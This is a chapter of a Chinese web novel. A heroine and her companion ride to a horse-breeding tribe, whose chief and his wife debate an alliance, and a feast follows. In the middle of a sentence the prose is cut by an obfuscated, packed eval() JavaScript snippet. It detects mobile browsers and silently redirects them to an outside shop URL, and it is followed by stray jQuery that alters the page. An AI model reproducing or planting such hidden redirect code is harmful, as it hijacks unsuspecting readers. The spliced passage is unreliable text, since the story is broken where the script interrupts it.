四十一章
黑云就不允许哪匹马超过它去,就算是身负两人,也容不得山胡族长夫妻两人坐下的千里良驹跑到它前头。
好在它还知道顾念着冯妙嫦,觉着她坐稳了,才甩着马头嘶鸣着撒开四蹄飞纵出去,几个起跃后给所有的马都甩开了。
一马当先后它越发起了性,风驰电掣般飞奔起来。
被黑云这样疯跑,刚拉开的距离,颠簸着又贴到了一起。
只隔着一层薄衫,七爷的心跳扑通扑通落在她的背上,一下一下的,敲得人心慌意乱的。
心悸的没个落处,冯妙嫦啪地往下呼了一巴掌,“黑云,咱是来坐客的知不知道?你这样反客为主的哪好,慢着些,礼让人家一下。”
呼噜呼噜打着鼻息,黑云侧过马头,似在回嘴一样。
冯妙嫦气上了,又拍了它一记,“呼噜什么?白吃我那些蜜糖和果子了?”
头顶呵呵的轻笑声响起,跟着额头处有些刺痒,是七爷冒出胡茬的下颌贴了过来,“黑云你识相点,爷的钱都她管着,她要克扣你,爷也只好看着!”
话落,黑云飞奔的速递就减了下来,再识相不过了!
“好个只认好处的黑云,我算认清你了。”冯妙嫦忍不住伸指戳点着。
黑云顿了一下,又放慢些速度,让山胡部的马超过去,它不远不近地跟在了后面。
后面玄五和西岭一脸惊诧地打马赶上来,“黑云这是咋了?怎么还让别个赶它前头去了?”
七爷轻笑,“冯掌柜教它规矩呢!”
玄五和西岭同时“啊”着,一脸你也有今日的表情瞅着黑云。
七爷说得,冯妙嫦也说得,别个谁也不行,这给黑云瞅得恼羞成怒了,左右撅着蹄子,给玄五和西岭的坐骑撞开,昂着首气势汹汹地往前踢踏着去了。
黑云发起横来,前后左右再没马肯挨近,恨不能躲着它三丈远。
山胡部出了多少良马,所有孜羌部族里,山胡部出的千里驹最多。
就现在族长夫妻坐下的两匹,就是多少年难遇的千里宝马,大荔马中的上品。
可就这样的宝马,遇上黑云照样犯怂,跑起来也不是黑云的对手。
山胡部人以养马为生,对大荔马以外的马种也都很了解。
当初一见黑云,就认出它是价值连城的黑金马,是伊斯马中的极品,伊斯国中的王公贵族都难求一匹的。
正是见七爷拥有这样的极品坐骑,手下虽只有一千人,却个个骁勇善战,跟随他左右的几个近卫更是可以一当百,悍猛如虎。
山胡族长对大熙还算了解,虽七爷以沙匪自居,山胡族长夫妻却是不信的。
沙匪他们见多了,就山胡部这样不擅战的都瞧不上沙匪,七爷和他的一千人马顷刻间连强大的撒尔骑兵都能给杀退了,有这样的战力,还做什么沙匪,直接扯起大旗占地为王都行了。
山胡族长夫妻反复分析了,都觉着七爷是大熙那边儿心生反意的世家大族的子弟,来西边儿是给家族找退路来的。
大熙朝现在和一盘散沙也差不多,姬家的皇权没落,早调度不动各地的军镇了。
还没人反,不过是怕枪打出头鸟,都在等时机呢。
早前山胡部想的是偏安一隅,好好养马卖马,过自己与世无争的日子就好。
因着在西边混的哪家都想要山胡部养的马,所以和孜羌其他部族不同,就是撒尔和乌戎两族都和山胡部交好,所以山胡部是孜羌各部族里最不擅战的,九千部族人,只有一千人的族兵。
哪成想撒尔那边杀出个慕容赫,第一个就拿山胡部开刀,想吞了山胡部做他的马奴。
山胡部上下这才醒悟过来,自家早成了人眼中的肥肉,哪个都对他们虎视眈眈。
实际上,山胡部和大熙姬氏皇家处境一样,先头那三家留着他们不过是怕先出手的被群起而攻之,可悲的是,他们竟一点不自知。
山胡部很有自知之明,知道自家懈怠了这么些年,一时半会儿的也雄起不来。
可局势由不得你从长计议,想保住部族,还是先找个强大的依靠更合适些。
如此,见识到七爷这边的强大战力,推测出他身后还有强大的家族做后盾,山胡部上下才生了依附之心。
不过山胡部也不会鲁莽行事,孜羌人最信奉的是,一个孜羌男人再是神武,若没个能当起他一半家的婆娘,这男人必不会成气候。
所以,决定之前,他们想见见七爷的婆娘。
若七爷的婆娘是大熙那些藤柳一样不抵事的,那他们回报恩情就好,依附的事就不想了。
这会儿见了七爷的婆娘,河套上最娇美夺目的花在她面前都要黯然失色,美得惊心动魄的。
虽做了男装打扮,可骑不得马挥不了鞭的,就算说话中听些,也不是孜羌人想要的婆娘。
族长夫妻两个也明白了,大熙女人当的一半的家,不过是帮着大熙男人管着后院,孜羌女人当的却是家里全部的生计,两者根本不可相提并论。
夫妻俩并驾齐驱着,见七爷一行落在后面听不到,为保险起见,族长夫人盂兰还是用孜羌语道,“铁单,燕夫人虽做了男装,我瞧着骨子里还是大熙女人娇弱的做派。
十年前的教训还记得吧,和大熙人咱们就搅不到一个锅里,依附的事还是算了。
七爷援手的恩情咱要厚报,这一年咱就当白忙活了,那五百匹马就送给他罢!”
族长铁单痛快道,“这么些年听你的就没出错过,这回还听你的。
我瞧着七爷是个有胸襟的,五百匹马送给他很值当,后面咱们再有事,他还会不遗余力来援手。
虽不依附他,这样你来我往的咱们也算有了靠山,别家想动咱们也要犹豫一下的。”
盂兰点头,“往后只要七爷需要马,咱们都便宜两成给他。”
铁单问,“那燕夫人那里?”
盂兰想了下道,“咱们只管诚心招待了,只论交情,别的只字别提,七爷会明白的。”
夫妻俩很快就商量妥了大事。
后面也是差不多的情形。
瞅着左右没人了,七爷低头道,“这个时候叫你过来,委屈你了!”
冯妙嫦忍住给他下巴扒拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042617|133830||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开的冲动,不着痕迹地躲开些,“西岭都和我说了,七爷才辛劳,和七爷比起来,我这点算什么,不委屈。”
七爷顺着给头抵过来,“山胡部我志在必得,你帮我这一回,我感激不尽。”
确定七爷是无意识的靠过来,再躲反而会叫七爷觉察,冯妙嫦只能尽量忽略额头上的酥麻热烫。
“待会儿我要怎么做?”
“拿出你那天同我算账的气势就行,他们会折服的。”
“七爷!”
“说真的呢,知道我花了两万五千两买马,你恨不能戳我脸上的样子,我这会儿还记忆犹新呢!”
“你再这样我管不了了!”
“别呢,没说假的。你只管按平时的行事来就好,让他们相信咱们不光能庇护他们,还能带他们奔更好的日子,人往高处走,他们会知道该怎么选。”
冯妙嫦这才信他,思量一番后有了计较。
很快骑到最大的毡帐前,铁单夫妻先下马,带着山胡部一众迎了七爷和冯妙嫦一行进了议事大帐。
帐里已摆了筵席,两边的人分宾主落座。
孜羌人以游牧为生,一日三餐皆是牛羊肉和乳酪乳浆这些。
这会儿为表对贵客的看重,大帐中间,一只偌大的烤全牛滋滋冒着油,肉香四溢。
而每张席边上都架着火烤着只肥硕的全羊。
全牛全羊宴,是孜羌人招待客人最高的规格。
大熙吃肉也多是羊肉,因着耕牛金贵,牛肉却是吃不到的。
西边儿河套的羊肉最是鲜嫩,没有丁点膻味儿,十年前孜羌和契金人还归附大熙的时候,每年都要往宫里进供的。
那会儿兴元帝刚登帝位,为拢络人心,收到这边的河套羊后,只留下少许外,大多都会赏赐下去。
没落如冯家,都得过两只羊呢。
一大家子吃两只羊,三房又不得冯老太太的意,根本轮不上吃肉,只一人分了碗带肉渣的羊肉汤。
就是这么一碗带肉渣的羊肉汤,原汁原味的做法,却要鲜掉人的舌头,冯妙嫦至今还记得那碗汤的美味儿。
她这儿正闻着香呢,却见七爷微拢了下眉,虽很快松开了,却瞒不过冯妙嫦,知道七爷是吃厌了这些,已经到了崩坍的边缘。
这可不行呢,想让人和自个儿不外道,最快的法子就是吃到一处去。
七爷吃不下,她就要顶上!
不过她一点和不勉强就是了。
笑盈盈道,“只为这河套羊肉的美味儿,我就不虚此行了!多谢族长和夫人盛情款待!”
虽打定主意,好生款待后就给人礼送走,可好听话谁都爱听。
盂兰脸上的笑真心实意起来,“那燕夫人多用些才好,我瞧着七爷似不大习惯吃这些,我们真怕怠慢了!”
冯妙嫦做出担忧的样子,“我们七爷正养病呢,吃不得过于油腥的。
不叫他出来,他非跑出来,我这担心了多少天了,刚瞧见他好好的,我的心才落了地。”
七爷竟是带病来援的?
族长夫妻俩对视后,脸上都带了歉疚。